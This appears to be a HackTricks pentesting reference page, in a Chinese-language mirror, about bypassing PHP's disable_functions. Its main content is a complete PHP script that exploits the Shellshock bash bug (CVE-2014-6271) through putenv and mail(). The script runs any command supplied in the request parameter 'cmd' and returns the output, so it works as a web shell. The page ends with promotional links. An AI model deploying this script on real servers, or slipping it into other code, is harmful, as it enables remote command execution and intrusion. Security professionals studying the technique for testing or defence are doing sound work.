> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md).

# disable\_functions - PHP 5.x Shellshock Exploit

<details>

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## PHP 5.x Shellshock Exploit

来源：<http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>

```php
<?php

echo "Disabled functions: ".ini_get('disable_functions')."\n";
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>